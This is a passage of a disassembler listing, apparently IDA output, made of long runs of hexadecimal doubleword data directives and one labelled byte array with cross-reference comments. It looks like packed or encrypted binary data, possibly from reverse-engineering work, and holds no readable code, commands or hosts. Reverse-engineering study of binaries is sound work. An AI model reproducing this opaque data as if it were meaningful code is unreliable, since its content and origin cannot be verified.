		dd 0F02238h, 90DA01E3h,	125BACD4h, 1F61F2Ch, 4835DF3Eh
		dd 1611CC56h, 4841EC39h, 78C4A028h, 7F6791Bh, 0D25B0A9Dh
		dd 0F059E35Eh, 0C152101Eh, 90116DC0h, 7E1A6226h, 0BFC51AB9h
		dd 8C288Dh, 0E00D298h, 49E53258h, 8C631Eh, 2A213818h, 8E33C7A2h
		dd 0CAD7E101h, 454461E3h, 0C0C4F970h, 0CCE4F4C0h, 240334FDh
		dd 0C208F885h, 0E5C3C0DAh, 0DC86095Ch, 0CE009E76h, 4D9CBC6Bh
		dd 0A494D924h, 0C1755700h, 0E10DE5h, 0F2A6F540h, 83EBB1EAh
		dd 5657100h, 60C561AAh,	6D3C00BCh, 0E6334739h, 7B90324Ch
		dd 0CC1A9000h, 6E286724h, 0CFBB02D7h, 4DACF6C2h, 81408042h
		dd 8B7E49A5h, 0E244EE0Bh, 224D0017h, 3CD9952h, 0FBC5E478h
		dd 0D960F51Ch, 7328FEB0h, 0DCEA09B8h, 24214CFFh, 0FCDF10DBh
		dd 19006BFDh, 0CAAB8F5Dh, 2A5649h, 0EA958934h, 21CEA966h
		dd 3EC21504h, 0C08040A2h, 1E0B74Ch, 50397413h, 0C8C81D3Ah
		dd 0F7027625h, 6334D598h, 970687Ah, 0C2A80032h,	9277FF3Fh
		dd 10F26607h, 86296B01h, 0D8CA9E6Ah, 6B611421h,	9487ECh
		dd 47D31BA4h, 0E2706FABh, 0D5B03B03h, 0B8EB2314h, 50A67Dh
		dd 0AA1B308Fh, 4B37A316h, 0D962F800h, 0A8AF13BFh, 6EC90041h
		dd 0B17802E8h, 0C6008EC3h, 55A96A71h, 0EF75374h, 0A63861C5h
		dd 0CD40D820h, 0DD079856h, 0EEBA6BA7h, 0AE3AADA0h, 2E7700E1h
		dd 34BCF135h, 0D000AC59h, 2D024A7Ah, 187F475h, 0EF74D99Ch
		dd 801CF52Bh, 15477E18h, 3A7DC53h, 27F0BE62h, 67A8F9E2h
		dd 0B07CBA2h, 38DDFAD0h, 0C0FF1C02h, 2D48D0h, 3E4365F5h
		dd 0E6B2C657h, 89A93B14h, 5870180h, 419463F0h, 613680F3h
		dd 35AF039Fh, 0C611A68Dh, 0C89CF6E1h, 3F03CFCCh, 97C259A0h
		dd 0FF81B868h, 0E00E0020h, 2E01431Dh, 0B37FEA48h, 0AC553D0Eh
		dd 2206C080h, 0EB28EDAh, 59E2230Fh, 9A280072h, 871EE744h
		dd 0AFE6BB00h, 0FF160CE3h, 0D4CC0166h, 4878DC25h, 4BBC20B3h
		dd 0D2549412h, 0DA82A002h, 0CA461B7h, 42146C1h,	4732D8h
		dd 389BD497h, 0FBE8D8BDh, 0B0F43050h, 0A48D2503h, 80A7027Eh
		dd 60ADBAF7h, 5B4058B1h, 7B58D8FFh, 0C49E008Dh,	0FA16C572h
		dd 0DB73003Fh, 8D4D8807h, 0A00566Fh, 80D2B060h,	3AD3194h
		dd 0E9F0F9CDh, 29B838B1h, 88005447h, 41E1F123h,	0B26D4BCCh
		dd 91BD0428h, 90A87DB4h, 0F4CA4D58h, 28E4AA00h,	7F66C965h
		dd 0D5EA0096h, 20810698h, 48391145h, 6F460793h,	33D09F23h
		dd 0EEF9C610h, 2D150008h, 0ADB94C7Bh, 5500E6C4h, 1DA437Fh
		dd 12B59517h, 0F26D12h,	0AA49AE39h, 6A00DC52h
		db 53h
byte_520045	db 0BFh, 36h, 6Eh	; DATA XREF: ___:00437A30o
					; ___:00437A48o
		dd 0AC57C6h, 69731E39h,	1BD96C85h, 98FB9400h, 8E09F9Ah
		dd 0F88100A4h, 0EF1C60A3h, 26011573h, 661B8651h, 8E704691h
		dd 29340181h, 9C013CBh,	30C6173h, 75F8BBF7h, 0B80069BDh
		dd 6D2EFC9Ah, 0E7265Ah,	8564B0F6h, 288FF9B5h, 1C0340B8h
		dd 9E46E6Ah, 521A8D4h, 79649A20h, 1A6C1662h, 370C001Fh
		dd 0E025950Eh, 0B3011BEEh, 5F27A453h, 60DE8974h, 394B419Ch
		dd 1C804408h, 0E4835168h, 0D200991Fh, 0EF98387Bh, 450C7Fh
		dd 42C7BEA8h, 0D9504E67h, 461AD712h, 0AD0F7002h, 250AC097h
		dd 825203D5h, 0E529E630h, 437949C0h, 100A3F2h, 0C7EC7620h
		dd 0F699B3h, 5B25D10Bh,	0A4BB083Ch, 0F97E0F00h,	0EBCFE696h
		dd 7A4D0062h, 0B0D86C33h, 0C01539A6h, 298116Ah,	5F3CCADEh
		dd 209CE02Dh, 25840051h, 98CE11D6h, 0C01A843h, 974FFD5Eh
		dd 0A4C0B7C0h, 5DB61F02h, 0ECE691h, 0D8729F2Dh,	0DC15B5EDh
		dd 0E986235h, 816DE6CFh, 914096E0h, 8563C8h, 0CB165C87h
		dd 0F6ED224Eh, 8AF9EB00h, 66CA6E13h, 8D6748FCh,	0BD99051Dh
		dd 1E7E8186h, 0CA0011C2h, 5A216722h, 2CEAFFh, 4BCEA0FDh
		dd 0D75D28F4h, 53FEB300h, 94A3979Ch, 0E3F227h, 1A9FE752h
		dd 0A13EF2BEh, 0A5483AFCh, 2B57008Ch, 6CA3219h,	3058006Eh
		dd 0D8EC1FFBh, 9704759Fh, 46C5C67Ch, 23D944C1h,	1408870h
		dd 0F1AD1712h, 0D5B21F73h, 9FA040B9h, 435C5F0Fh, 191300E4h
		dd 0F8AE297Eh, 0CE5A0010h, 0D3E0A582h, 55946AB5h, 44FE813Fh
		dd 0CA730A9Ch, 54348E0h, 1201E9B4h, 0C7201D82h,	80EAAD84h
		dd 8847182Bh, 4A82C00h,	8C359438h, 0C96A1D6Dh, 80EFDF46h
		dd 0E6DBB24Ch, 9D001D7Dh, 8B3F6CABh, 1DD3DFAh, 962346B0h
		dd 0A03C7E6Ah, 0C001CF10h, 6693733Ah, 20832297h, 4AA73E0Ah
		dd 0B3BF8FC0h, 50275700h, 0B6F19345h, 90A30060h, 3CEA01B0h
		dd 751FA156h, 85FCCB78h, 400ECD9Bh, 0BE1CF805h,	3AC79006h
		dd 0AFD50010h, 1A69067h, 1A054F63h, 0FFE1B7B3h,	954090C0h
		dd 23EB0B65h, 41DEBCF8h, 3E38882Eh, 0DE750006h,	26DBD49Fh
		dd 913C0559h, 80703EACh, 0F3174A6Dh, 8A02B4F6h,	0AAFB0F87h
		dd 0E4B8C025h, 851400B3h, 16305F05h, 21056CB8h,	70825198h
		dd 2700A81Ch, 5FA84CB7h, 31EB00D8h, 0A173EC42h,	64387C72h
		dd 0C1974DCh, 0BF91805Dh, 6C713DCDh, 0CA229ECh,	0D978CEBAh
		dd 9DF07170h, 0E5405496h, 7BAA144Ah, 0BCAEC76h,	8B2B2A0Ah
		dd 65C1AD03h, 18C0969Ah, 9DFE1DA6h, 0D100EE75h,	8E4BCD06h
		dd 718E66Fh, 1A1E566h, 9F850BBh, 9B90CCA9h, 0BD13400h
		dd 91908D7Ch, 18AA6956h, 66E0C800h, 0A900FDEBh,	2A98BA0Dh
		dd 7831B8h, 2591206Ch, 0C2683F0Bh, 4B27E501h, 0ABD6944Fh
		dd 16589DF8h, 0AAF75h, 2E5A663Ch, 3DF0AE27h, 0C0C0B62Ch
		dd 0FCA4E800h, 551DCB2h, 5F8A073Bh, 828C0199h, 0C8E5C0CAh
		dd 0A0003CB3h, 6F7BF81Eh, 76D3FE5Dh, 9C9019h, 0A60108D7h
		dd 7A18489Dh, 0B8FC0A24h, 0DBC78607h, 9B80C650h, 0FA9C0BA7h
		dd 0DC80F19Dh, 0D3477BC1h, 0C7732603h, 809BC3AEh, 36890Bh
		dd 0F502BC1Ah, 63167DDAh, 4808C94h, 0F85C9546h,	89680108h
		dd 6C66E526h, 0E3D9F82Eh, 39006FF2h, 0D4925B1Ch, 17B312h
		dd 0F996B25h, 51F944E7h, 8FC37B05h, 0F48084DBh,	663473Eh
		dd 11F6F3D7h, 5900385Ah, 545B0C8Ah, 51B460h, 4B5663E1h
		dd 74C84EDAh, 0ACC9F624h, 5B51FBBh, 0A5D51300h,	78189Ch
		dd 21094923h, 1CE89D34h, 0C1AAF800h, 929A2DDDh,	379703ABh
		dd 60D1C246h, 0D327DED0h, 0FDA83404h, 0DCC080F3h, 20E632h
		dd 0D451F03Bh, 89601584h, 9AD76100h, 89DAF63h, 64290322h
		dd 5C0EECA3h, 0A4523F82h, 0F973DE01h, 0B9B41EE4h, 26A990E4h
		dd 0EDC069Eh, 4E208993h, 0CF1AEEC3h, 9A6D4200h,	640B075Bh
		dd 0FCBC097Bh, 806016FFh, 4803CF88h, 0FE0E262Ch, 60D5A2E4h
		dd 137AEB74h, 0CB34C1h,	0B4EE7B5Bh, 68008F9Bh, 8D4578F9h
		dd 3F7E0E32h, 7CAB66h, 1AD44987h, 2293FAFEh, 21177700h
		dd 10C17392h, 24130011h, 0D4A596B6h, 0CD00FD85h, 0EF67A7C0h
		dd 30FBB844h, 0B6807D2Fh, 27FC1FBFh, 556BDD00h,	0D053C15Dh
		dd 1B63035Ah, 0E2B0627Ah, 0D65E44E0h, 0E5879100h, 5F52166Dh
		dd 0D2890003h, 0BA4504B1h, 400177D1h, 0D69B75FDh, 0B17E5A87h
		dd 10DD4699h, 7B0D1F00h, 0BD09E079h, 5FE33193h,	0CC1B9E88h
		dd 5A00E67Eh, 35B0505Eh, 72EA7E1h, 0FF09892Dh, 7B7D30DCh
		dd 1E00BA82h, 0B587511Ah, 0DF8DB3h, 2A3050D6h, 45765FBDh
		dd 1ED39500h, 39F1F6C8h, 0AA5100E2h, 44A11A8Bh,	0BE1F4DD7h
		dd 1640BC08h, 24F97C48h, 61F07DCh, 71E8AC7Ah, 80BDE97Fh
		dd 39281628h, 3C7917FFh, 0FDBA8BF4h, 3ACE2580h,	0BA06DE8Eh
		dd 54401D0Fh, 0EDAA80F7h, 0F2FFB1h, 0C89B3569h,	2A7F5F0Ch
		dd 0BDA78B00h, 5D9C737Ch, 0E2E0ABh, 76376CFEh, 0D68DC470h
		dd 68919A00h, 0E3117D95h, 232700D9h, 0E0763F13h, 0DEAF107h
		dd 8032B63Ah, 0FFF303BDh, 0B59AEB68h, 0D2F87A80h, 5C3EE7E8h
		dd 0B46B0A51h, 0F100AC06h, 9C2A4C64h, 0E581004Dh, 0D4C27274h
		dd 9639C835h, 289A806Eh, 8CEBA45Ch, 92930082h, 69BF1F3Ah
		dd 0E4004BE8h, 248BA2B5h, 0B511475h, 7CD9FC49h,	0CC01B80h
		dd 0C900AF2Ch, 0AEFD33Bh, 286CAEFBh, 0E4FBBD74h, 67190072h
		dd 25D4BC43h, 77009FC8h, 9E20573Ah, 5CC5CEh, 91277CF1h
		dd 0BE0D1B31h, 23770200h, 49FAAB70h, 39E70F01h,	87BC53B2h
		dd 0E07AE272h, 0EF1116B1h, 7BA3731Eh, 0BD858600h, 1EB56E82h
		dd 40C767A0h, 9F92383Dh, 0AB392F9Dh, 34C9A8h, 8BCDC20Bh
		dd 20345A9h, 0B8ECF90Dh, 6C4078B1h, 4009E0CEh, 805DEF49h
		dd 0F513F2EFh, 0DFE70FDEh, 0F080BA39h, 636E0467h, 730285F4h
		dd 8C9D74A8h, 405A60B8h, 411303FFh, 0E191CE57h,	0AC786888h
		dd 4C481FF8h, 0DF630358h, 0C823ABB9h, 681EF9h, 0BC382B9Dh
		dd 0E1184FBEh, 27595306h, 12A06D4Dh, 7FFDB05h, 74A6C4A4h
		dd 25648055h, 0D9007F62h, 7859BD32h, 0B9686Fh, 0D2AAAD26h
		dd 5F233EE6h, 41FCF40Ah, 803FB7F7h, 843C270Ah, 29B445h
		dd 22734635h, 0C034835Dh, 49118800h, 3DE9F68Ah,	3A8C7E3Fh
		dd 0B38075D2h, 0BFEAE296h, 0AA00063Ah, 0FEF47B7Fh, 499032h
		dd 0F88FA707h, 0E87C2F15h, 3BB94700h, 0FB7580A8h, 313000F4h
		dd 0C8948944h, 0D4925D43h, 0B35C1200h, 0F0BE22D6h, 0CF453E07h
		dd 778CD800h, 3578FF9Bh, 1E9728C0h, 1207A971h, 1C9FEEC6h
		dd 8EF42BEh, 0A3C0EDF4h, 0F900D293h, 0D85A1C83h, 0E78730h
		dd 701343FAh, 0BEAFAE5Dh, 47D8900h, 8E7A2E25h, 45600083h
		dd 0E6394BCEh, 5B3B9F8Ah, 6E5F8B26h, 0E0D70E8Bh, 0C8431EC7h
		dd 0FBB000F5h, 6F3BB6E8h, 0FA3FF6ACh, 8B36002Fh, 96269BC4h
		dd 4DE1016Bh, 0F48F25A3h, 1B4EFC43h, 0AEE0D57Ah, 1276B73Dh
		dd 400EB998h, 717AE177h, 22C4B0C7h, 377B02h, 5404FD7Fh
		dd 9009885Bh, 786A54Ch,	70AD2EDBh, 0BF620190h, 5F163D52h
		dd 140B28h, 0E46D54B0h,	0CE74DCE7h, 0ACF98719h,	1FD01768h
		dd 0CFD7E0A7h, 0DE0FBC11h, 0EF865981h, 1291BD42h, 8C1EFF41h
		dd 62153801h, 0A0CB3635h, 122B9726h, 31FF417h, 2D0B5DC5h
		dd 0A0CCB0C0h, 0A8BD3A24h, 8B1F4C87h, 0DF2B602Ch, 0F6DA0148h
		dd 892083C5h, 808BE720h, 96BC3EA0h, 347C0412h, 87360A62h
		dd 2140CA8Bh, 0D4150F4Ch
		dd 0AD9D73C3h, 7CB277A3h, 9A43148Eh, 70877D21h,	0D4B187B8h
		dd 0FF001BFEh, 0EB0BC6E6h, 0A68490h, 307E284Ah,	0A744E40Eh
		dd 598DD200h, 29B2412Bh, 45FF00FEh, 8AE501F6h, 4F00DA1Dh
		dd 6C6DB935h, 74B91F5h,	690CE0A8h, 2A514013h, 957A50B6h
		dd 4FDEF400h, 47FD1290h, 5D8003C1h, 1579C55Fh, 6B608BA0h
		dd 954C4F00h, 6ABB22B6h, 5A120033h, 9D58066Dh, 0F2031E1Ch
		dd 0F5B1089Ah, 8F57E827h, 0DF0500C9h, 0AE5BC2E4h, 0C6F820FDh
		dd 92F935B0h, 75110AF4h, 0FD8F03B0h, 0D818E06Ah, 66A0FF9Ch
		dd 21340802h, 65E56E00h, 4BE6A3A1h, 880601FEh, 773B9FF9h
		dd 1B862A5h, 75A97D64h,	0E0FB89FCh, 369AE416h, 78108A7Ah
		dd 14B0D798h, 0C03680C8h, 18CC6519h, 9A22EA46h,	6521121Dh
		dd 57903A80h, 1812BA4h,	97ADF861h, 9E2DFCC9h, 0B88B2F29h
		dd 11000C15h, 44372E3Eh, 20EC0164h, 0CBFC1F2Bh,	0F9215DA7h
		dd 70BEC80Eh, 0E9B70D01h, 0F06DF6Ch, 44BDAAFFh,	9ABA1C10h
		dd 906B405Dh, 0A85E4524h, 0DA9BA305h, 0B580289Dh, 0C19BF89h
		dd 440EF2Fh, 0C8001B39h, 0C53623D1h, 6686BD62h,	215A086Ch
		dd 0D1D0C60Fh, 0ECFFC18Eh, 1980BE73h, 0E65483F4h, 0DE0ED36Dh
		dd 0AFD69386h, 842AA07Fh, 7AAE50Fh, 9636378Eh, 3780BAF7h
		dd 6B1C01F8h, 91080DBh,	693C5C78h, 302B0070h, 1F9A4134h
		dd 1800908Eh, 8E0317Fh,	7C407573h, 44C63C4Dh, 0C1F6B687h
		dd 244710A0h, 0B50041DFh, 6D73D0B9h, 3840FB9Fh,	0D583192Ch
		dd 7A4DB448h, 0C997AEE1h, 0B789E0BCh, 67490500h, 8F3F7BCCh
		dd 68280F73h, 0E6805E4Fh, 0E838C8FBh, 8D791500h, 8AC2BB6Ah
		dd 0FA0900B1h, 274E2B0Ch, 21CAACAh, 9407BAFFh, 78D03CB3h
		dd 7C58B67h, 45592180h,	575FB064h, 0F81DB8EAh, 77C2BCF0h
		dd 406512B1h, 0E956A82h, 570531E2h, 4A2A1C23h, 7ADEC0ECh
		dd 580227DEh, 0B99A9140h, 5BA5C0E9h, 3F8D06F0h,	913C1396h
		dd 3E23ED07h, 9B404630h, 3F614D21h, 6480F4BAh, 8C7D6A42h
		dd 5100860Bh, 0C1DCCC9Dh, 0B0C5977h, 37CE032h, 0AA00C85Ch
		dd 704CA9BAh, 97801A4h,	21498DFFh, 0B088E522h, 45EC3668h
		dd 8C0100EBh, 78079853h, 2AF8BF43h, 0E9BCFB00h,	57766B0Eh
		dd 0E41F004Eh, 99B8361Ah, 0D33EA43Ah, 8F03F725h, 7798237Ch
		dd 7F53A847h, 0FFE10080h, 0D79D35B4h, 0A9010CB6h, 0CB84586Dh
		dd 87F42D1Dh, 644700FAh, 0E6EE66DCh, 33006528h,	7F5989F2h
		dd 449E17Dh, 41AD2798h,	0A001FF72h, 18C07ABEh, 0B1B2C8h
		dd 9F3AD22Bh, 0E16171ABh, 3E73F707h, 31C099C9h,	1D11C6BCh
		dd 2C0217h, 96DAF3Ah, 183EEA30h, 0F5A89683h, 16892800h
		dd 3A049Fh, 4048A6C5h, 2C1568EDh, 764C3100h, 29EAE88Dh
		dd 0A7EF0027h, 0DC4E9430h, 0D703D251h, 4A5CCE6h, 90C4F36Dh
		dd 316729B9h, 6F28DDA3h, 422817CAh, 0A324A73Eh,	12DE0F21h
		dd 0B99510BEh, 89A8CF88h, 84CA08DEh, 42AAFE22h,	0DBC911ABh
		dd 7F087621h, 841790B8h, 6248D11Ah, 24BC7C42h, 0A76F2113h
		dd 35238E12h, 549BD87Bh, 9D7D004Ch, 5376EF8Dh, 6000AC33h
		dd 6B4EB1A8h, 7D863D07h, 0D5F000EBh, 6520049Bh,	770063C4h
		dd 0F90F55B7h, 0B86D72h, 8BE9475Eh, 0F8B5C58Ah,	6C0A7100h
		dd 2B338465h, 0FEE6FCh,	7B83E3B2h, 0D2AC469Ch, 5DD66E00h
		dd 0E24C0CBFh, 9690007h, 0A4844808h, 8E0076C1h,	24C8DD19h
		dd 427F0Bh, 0D8708883h,	0BE975027h, 719E300h, 625D85C9h
		dd 98110043h, 3FD7323h,	0FE00B769h, 66414E91h, 4839C0h
		dd 0AA0CCA42h, 6A68A5C4h, 9DFA000h, 0A6537D6Ch,	0D9BC0130h
		dd 2CC25D48h, 1CF6C81Eh, 0B934CD00h, 0E44BC606h, 0F0AC06CBh
		dd 68BCB22Fh, 14BEB100h, 0CDEDFB51h, 0DEA23C30h, 279C9D80h
		dd 50174E6Dh, 7A222A18h, 8920310h, 0D7E2FBC0h, 0A0657000h
		dd 3F6A39h, 55D385Ah, 503ED920h, 0B716FE00h, 84E45379h
		dd 0E62E0008h, 0F7EB10E0h, 990C6639h, 0B8FFE58Eh, 7AA5001Eh
		dd 0F16BA059h, 390127EFh, 0D74079B8h, 0E3F461DBh, 0DFDD00F5h
		dd 0AF46C568h, 2F056AACh, 0DAA5E813h, 7869A800h, 1EB131DDh
		dd 0C0FFC86Eh, 3043850Eh, 9607D9FDh, 97E68133h,	4B6E4A80h
		dd 0C417013Bh, 8D717227h, 9BEE20E2h, 0D07C5500h, 0CC86E1FCh
		dd 0C5E8ABh, 72EC8F6Dh,	2152D7D3h, 75B8204Ch, 1A03507Eh
		dd 0BFEA7628h, 2F8BC042h, 0A36B05E2h, 0C0D80AC3h, 996451EEh
		dd 0EB95DB00h, 82883C84h, 579F0B5Fh, 58005D07h,	0FC966E8Ah
		dd 0D584FD00h, 808C5315h, 0D3760049h, 95F74A40h, 0FDFCF2A3h
		dd 0F4735228h, 29586100h, 124B1EFBh, 1D773E34h,	9300133Eh
		dd 0D49FC90Ah, 2700FEE4h, 0A5F26F15h, 4E3FCBh, 8D3C9A14h
		dd 0F3554521h, 2CA2FE00h, 2923D738h, 227750h, 7DA57FE4h
		dd 5E34245Ch, 4310E1Fh,	5440885Fh, 125DFDC1h, 48E6002Fh
		dd 0DDC0C346h, 3E005C4Fh, 0DAB8E07Fh, 0FC61451Eh, 32D30008h
		dd 0F7058E2Dh, 7601504Ah, 3BE0171Ch, 0DDC5D04h,	2D6424D2h
		dd 93FC9104h, 0C1BED300h, 50204Fh, 0B36A8F53h, 0BC3A1A54h
		dd 8035A33Fh, 0E0F5D72Bh, 197CDEh, 531F792Dh, 1EB6D15Ch
		dd 71ADA324h, 1CC7081Eh, 32349FE0h, 22B8A880h, 9712009Ch
		dd 9A4D230Fh, 0E1EDD82h, 6D00054Ah, 56B722C3h, 0DB51F24h
		dd 3E196CEh, 4F5FCB1Fh,	3663EBB0h, 40866E1Ch, 3222E600h
		dd 7EB948BFh, 23BD33CDh, 0C0849AD0h, 3D4509FCh,	0ABE7A000h
		dd 127182E9h, 899001Ch,	1BBE4DDBh, 6C906E8Bh, 16680D0Fh
		dd 0D238E0BFh, 0F313B6h, 7D3CDB3Ah, 0EE96557Eh,	8314D53Bh
		dd 0D9DA56D7h, 0B7EF9374h, 0B0E4E04Fh, 72803FA2h, 0AC0102B6h
		dd 4AAB922Ch, 0B5E8AC98h, 0A406BA00h, 26812A03h, 0D67596h
		dd 468374B1h, 0E41A44EFh, 2DC011DDh, 0A132B06Ah, 49AF0FC7h
		dd 4AE2EE03h, 9A60593Dh, 0D539915Ch, 0EF0B8FE5h, 0E2C31EA8h
		dd 0F79C1C49h, 0CBCD5620h, 0F0DA00AFh, 8905066Ch, 6F07F3B3h
		dd 8BB0E93Ch, 0F82C5DC0h, 6D360380h, 0B1F710CCh, 0C09B70E1h
		dd 0B80969B3h, 8E7E3188h, 6293A0B2h, 9096798Eh,	0CEA400DAh
		dd 0FCA1F348h, 0B102B37Bh, 0CF218415h, 2318C0C1h, 0FF320181h
		dd 0A07661A4h, 28ADC0B0h, 0CB8AD0A0h, 780AC100h, 1761ECD5h
		dd 12AA037Bh, 29CCA260h, 4F7E2BE0h, 0FDDBEB00h,	0B99C3897h
		dd 0EC080031h, 0E606E3C9h, 2B1F8A03h, 654F2D47h, 8D00B09Ah
		dd 52DA8678h, 0A70245D0h, 0F5C1CA7Ch, 773C606Ah, 0A02A0E06h
		dd 3C209038h, 7CEFFC21h, 64809D00h, 498CA2BDh, 655B0752h
		dd 7060ED30h, 0E2464413h, 0DA58E900h, 1F0EBD76h, 315B0002h
		dd 0BFA3573Dh, 3800BE90h, 0CE28148Bh, 0B7C84F1h, 0E541EEFBh
		dd 4F3DCA81h, 35D6F01Dh, 0E411DD65h, 0ECD2898h,	0B9D63A2Ch
		dd 0E0DBC6C7h, 2E6B505Ch, 0BC845A01h, 6EE0A604h, 0BD143E0h
		dd 5537A2F8h, 0C7E1C70Fh, 6045D2FEh, 94006D2Ch,	23E4ED3h
		dd 714F7F7Ch, 8F2200A4h, 0C51C8492h, 5C1EB8B2h,	6B003479h
		dd 0A2A4EC0Bh, 0E2D8001Ah, 29F89CFAh, 450E23DAh, 603BE4C8h
		dd 0FB63EE8Bh, 788C05Fh, 0EAB2CDA3h, 6B348F04h,	14C04D98h
		dd 5E91AEh, 0F2D75286h,	0FDC40C78h, 0FF64E300h,	6E5CEFDEh
		dd 9F020061h, 0CA8F26A1h, 0AC008C40h, 5BEBD648h, 2B6097h
		dd 4F247779h, 0B6330F88h, 906B6200h, 0FA1E39CCh, 7C6A001Fh
		dd 0ADE03B05h, 0BC001B55h, 3DA1836Bh, 0F74E61h,	222CB7EEh
		dd 0D4DC3BAAh, 1B70D900h
		dd 1F55CD06h, 0C46E00C5h, 0C78A52B8h, 9F01F85Ch, 49CD194h
		dd 46ECA105h, 92B70093h, 0FDC651EEh, 82874D2h, 6507C0F5h
		dd 7CCF49F1h, 9F9C8730h, 15113E7Fh, 732CEA00h, 91181937h
		dd 0FADE1B3Bh, 0B7A084B2h, 0B005EB5h, 0D1BD16DCh, 0DAD221h
		dd 441A3EA5h, 36A0154Ch, 0D7BB1E00h, 86173A93h,	0BDD10A8Bh
		dd 81A4C5A4h, 0BC0962E6h, 0FA11CC2Eh, 694D1E01h, 4A2BCDDAh
		dd 0E8CC55DCh, 0B5D00E0Dh, 5B0008EDh, 8CAB5A6Eh, 5C028400h
		dd 9FE17516h, 55EAF9h, 0FAF70F41h, 90C0562Ah, 0A0E29112h
		dd 5200CC16h, 989CA782h, 0F5693E74h, 1D2E4F81h,	20298E5Ah
		dd 0AB5C2AE0h, 0BA99000Fh, 0DB3750B3h, 1320039h, 9FD86CC9h
		dd 6E2E1D10h, 0A4006A0Bh, 60D99058h, 0B498A8h, 23C3A603h
		dd 0F4A74BAAh, 0BA45591Ch, 0AD00E0E4h, 52D9F198h, 0A84E0013h
		dd 5BBB75ACh, 611419CCh, 3909E95h, 78238F35h, 0E5BEE891h
		dd 0C98C004Ch, 0F91CC3A7h, 6F003154h, 0D37A38D4h, 0A7C5DD2h
		dd 0D078CB61h, 0FC1000E4h, 3EAA0BAFh, 8006753Bh, 0C4F4B9C3h
		dd 9F891E73h, 0A8002678h, 1AB7BF20h, 0D38C4Eh, 4A506021h
		dd 3AEB0C07h, 0F0151F0Fh, 8FD9E538h, 0CC7D1CC0h, 44B0088h
		dd 3A1D7C44h, 0C448E8F9h, 947600A1h, 407B1B14h,	0C3133C8Dh
		dd 755E7200h, 4BC5305Bh, 6BFCF700h, 0EC77F8B5h,	90A0010h
		dd 4367914Dh, 0F60E3016h, 20B0ACC0h, 37CA8CC1h,	0E2050ED9h
		dd 5AA04D67h, 885C36F2h, 0D4490724h, 32DE2200h,	80C7DFh
		dd 0FA1B46D1h, 9B3FB71Ah, 0DF8E400h, 1340CF6Ah,	0E2170049h
		dd 0E867F104h, 0D000C1F5h, 0C0F38AD4h, 39EAF6Bh, 5BA3CC91h
		dd 9E28BF0h, 0A71A060h,	19FBAB00h, 0C73A75A0h, 5806157Eh
		dd 4508B867h, 5E0243B1h, 0C0B25C57h, 0C3AEC6Ch,	0A29FF058h
		dd 53001C10h, 471AD93h,	97B6470h, 2A7AA4Fh, 7CF3EA83h
		dd 12AC5FD0h, 3702DAE0h, 0D1AE828Bh, 0E8FC60D9h, 407885h
		dd 5648CF8Fh, 0B46F8D8Ah, 3D876B38h, 0DCF99F6Eh, 0FB2CBD40h
		dd 1549A51h, 0F4688A0Ah, 30694344h, 65177EDFh, 0F000CFF6h
		dd 8BB97711h, 22D5014Eh, 0C00DCA04h, 0DAC2F0E3h, 398F993Dh
		dd 45B78074h, 0BBF4425Fh, 0E41E012Fh, 0B15DFF0Ah, 0F2E0F775h
		dd 0C808BC22h, 235946Ch, 0AAA873DCh, 210008ECh,	9F241497h
		dd 52C71Ah, 0A2CE529h, 8A96B6EDh, 0BBBC4701h, 0E2A8D7E1h
		dd 45BAC50h, 56E080BDh,	0D3CD6185h, 3170609Ch, 0D400767Bh
		dd 0D3D2530h, 5CFBC2DBh, 0AC405BD5h, 16120091h,	0FC693F1Bh
		dd 0D034765h, 66AFB38Dh, 0D47891F2h, 79438E30h,	0D00F00CBh
		dd 4D6FE58Fh, 0FE0002E6h, 0A0F34C54h, 0AFF7D5Ah, 3A3EE382h
		dd 630C03BEh, 93C80D86h, 8A0FF31Eh, 5FC13507h, 59983C1h
		dd 4430A6BEh, 7B470052h, 0CB128FB6h, 8118D650h,	0A5F0FB48h
		dd 8D0900B1h, 0F547080Dh, 0D1003EDEh, 2DA9D4D5h, 0D96432h
		dd 1EDA42DDh, 0C5F92C36h, 3EEB9A00h, 1C4B13F6h,	117D1D56h
		dd 6595CB30h, 0C09C4C07h, 5D316015h, 0B9E5B228h, 7693F503h
		dd 0F03389D7h, 7C28BDh,	1FAE1738h, 2237C03Dh, 0DE9075E2h
		dd 72059578h, 0A2D1F3F2h, 0ACF85780h, 0EAE201A7h, 82619157h
		dd 7FE06458h, 1DD3427h,	1677418h, 3EF2CC50h, 2449092Bh
		dd 400B7Ch, 0CE0788A8h,	0E71BA2C6h, 4B60A04Bh, 0E22F72h
		dd 28088E32h, 0FF71ED50h, 7B928040h, 0FBFC1415h, 0D928E896h
		dd 7ED27ABEh, 0F853012Bh, 57430F67h, 683830C1h,	72D87003h
		dd 0C00E9479h, 0EAF584h, 520D7895h, 176E0FF2h, 0E41BFE24h
		dd 9BB79A00h, 7158B137h, 13810079h, 0C097B0C2h,	0C50BD48Ch
		dd 78D601h, 0FC02FF04h,	687079h, 0F7DF092Ch, 33497BC2h
		dd 0D469CEC0h, 9811F26Ch, 0B0D10828h, 5360723Ch, 1FC6F98h
		dd 0FFE15027h, 0DC69035Bh, 6101FE94h, 43250586h, 0AE31F8BEh
		dd 4215889Eh, 1ACE323Bh, 0CF24FC8Eh, 1D988131h,	16C05060h
		dd 0A5409D3Bh, 748800F0h, 1E199EBDh, 8A1779E7h,	48019312h
		dd 0A339CF08h, 2D20C440h, 453B0746h, 909740A7h,	0AA010B10h
		dd 51A0923Ch, 0EFC5DCB4h, 0D04B3900h, 0E35DE65Bh, 19BD00C9h
		dd 9B365070h, 56488A1Eh, 0AC91003Ch, 35255559h,	0F66900B5h
		dd 5682B4Ah, 7503CBF7h,	0E6480A0Fh, 0C0A7C0B1h,	946E6047h
		dd 4E8CA3FCh, 0E20BD48h, 60536BEAh, 10F37558h, 0D8A04DF6h
		dd 89AD8E0Fh, 2E5DCB80h, 0DD0BFB4Bh, 80771FE4h,	0A9A0684Dh
		dd 3660002h, 0CA0AEB64h, 8416EE33h, 0C00245AFh,	5240616Dh
		dd 2C3100A0h, 0A14B2A8Bh, 56008306h, 5B4FA4C3h,	0D63BB1h
		dd 74D168FEh, 0E2DF0FAFh, 393AB814h, 1E11079Ch,	7014B791h
		dd 685F4B80h, 0D66C002Fh, 0F4545A42h, 7B094D32h, 8076B416h
		dd 0EF772809h, 989E48CFh, 75348482h, 38677011h,	0B0143701h
		dd 20F2DEAEh, 0DF249C14h, 738094BEh, 0DB974129h, 0FA89225h
		dd 442BED2Fh, 5DBA0F00h, 4C00DC1Fh, 0B10E58C1h,	0EEEAEE4Dh
		dd 64D3272Dh, 89270483h, 0A15C8903h, 0C09855B7h, 1A0C3B0h
